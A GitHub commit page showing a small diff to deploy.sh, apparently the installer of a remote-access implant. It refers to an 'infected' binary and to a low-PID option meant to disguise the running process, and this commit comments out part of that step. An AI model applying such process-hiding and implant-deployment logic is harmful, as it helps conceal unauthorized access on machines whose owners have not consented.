Skip to content

Commit

Permalink
FFPID internal
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Oct 17, 2024
1 parent c9ac0b0 commit fd7752b
Showing 1 changed file with 13 additions and 14 deletions.
27 changes: 13 additions & 14 deletions deploy/deploy.sh
Original file line number Diff line number Diff line change
Expand Up @@ -596,8 +596,6 @@ try_dstdir()
return "$ret"
}



# Called _after_ init_vars() at the end of init_setup.
init_dstbin()
{
Expand Down Expand Up @@ -2194,18 +2192,19 @@ fi

[[ -n "$GS_FFPID" ]] && {
unset ok
echo -en "Using low PID. May take 60 sec. Set ${CDC}GS_NOFFPID=1${CN} to disable..........."
if [[ -n "$DSTBIN" ]]; then
res=$(GS_UTIL_FFPID=1 GS_CONFIG_READ=0 "${DSTBIN_EXEC_ARR[@]}" 2>/dev/null) && ok=1
else
res=$(GS_UTIL_FFPID=1 GS_CONFIG_READ=0 "${INFECTED_BIN_NAME}" 2>/dev/null) && ok=1
fi
if [[ -n "$ok" ]]; then
OK_OUT "Low PID found at ~${res:-NA}"
else
SKIP_OUT "PID forwarded to ${res:-NA} only"
fi
unset ok
echo -en "Using low PID. May take 60 sec before connecting......................"
OK_OUT "Set ${CDC}GS_NOFFPID=1${CN} to disable"
# if [[ -n "$DSTBIN" ]]; then
# res=$(GS_UTIL_FFPID=1 GS_CONFIG_READ=0 "${DSTBIN_EXEC_ARR[@]}" 2>/dev/null) && ok=1
# else
# res=$(GS_UTIL_FFPID=1 GS_CONFIG_READ=0 "${INFECTED_BIN_NAME}" 2>/dev/null) && ok=1
# fi
# if [[ -n "$ok" ]]; then
# OK_OUT "Low PID found at ~${res:-NA}"
# else
# SKIP_OUT "PID forwarded to ${res:-NA} only"
# fi
# unset ok
}

webhooks
Expand Down

0 comments on commit fd7752b

Please sign in to comment.